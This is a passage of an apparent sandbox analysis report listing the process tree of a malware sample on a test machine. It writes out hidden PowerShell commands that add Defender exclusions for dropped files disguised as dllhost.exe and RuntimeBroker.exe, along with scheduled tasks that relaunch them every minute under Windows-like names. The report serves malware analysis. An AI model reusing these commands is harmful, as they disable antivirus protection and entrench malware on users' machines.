  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4800
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:452
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6056
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4500
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:1976
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5408
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:4388
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:6040
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:2032
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4416
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5608
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -and $_.CommandLine -like '*--backup-listen*' -and $_.CommandLine -notlike '*Get-CimInstance*' } | ForEach-Object { $_.ProcessId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -and $_.CommandLine -like '*--backup-listen*' -and $_.CommandLine -notlike '*Get-CimInstance*' } | ForEach-Object { $_.ProcessId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4376

C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
1⤵
- Executes dropped EXE
PID:744

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe"
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:3156
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:980
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5904
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:4904
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4328
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:5404
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3156
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1892
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:5764
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3492
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:1736
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3776
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:1980
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:2008
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:200
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4388
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2648
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3064
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2032
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:1868
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4904
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4144

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2744

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe" --backup-guard
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\system32\schtasks.exe
  schtasks /Run /TN HCCacheWatch
  2⤵
  PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "$r = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = '\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch'}; if ($null -eq $r -or [int]$r.ReturnValue -ne 0) { exit 1 }; exit 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -and $_.CommandLine -like '*--backup-watch*' -and $_.CommandLine -notlike '*Get-CimInstance*' } | ForEach-Object { $_.ProcessId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1356

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1544

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5520

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4800

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2160

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe"
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3160

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe" --backup-watch
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5164

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe" --backup-watch
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2244
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:980
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:2512
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:1780
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:1452
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2424
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3000
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:5256
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:5212
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:472
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3600
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4948
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4328
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:5080
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:3772
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:1612
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:6036
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:5560
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:2208
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:5536
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:2356
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3800
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:2656
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3740
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1584
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4804
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2408
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:2948
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:3216
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:3048
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:2372
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:2624
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1112
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:3404
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4788
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:5288
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:4492
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5520
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:3224
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1032
- C:\Windows\system32\schtasks.exe
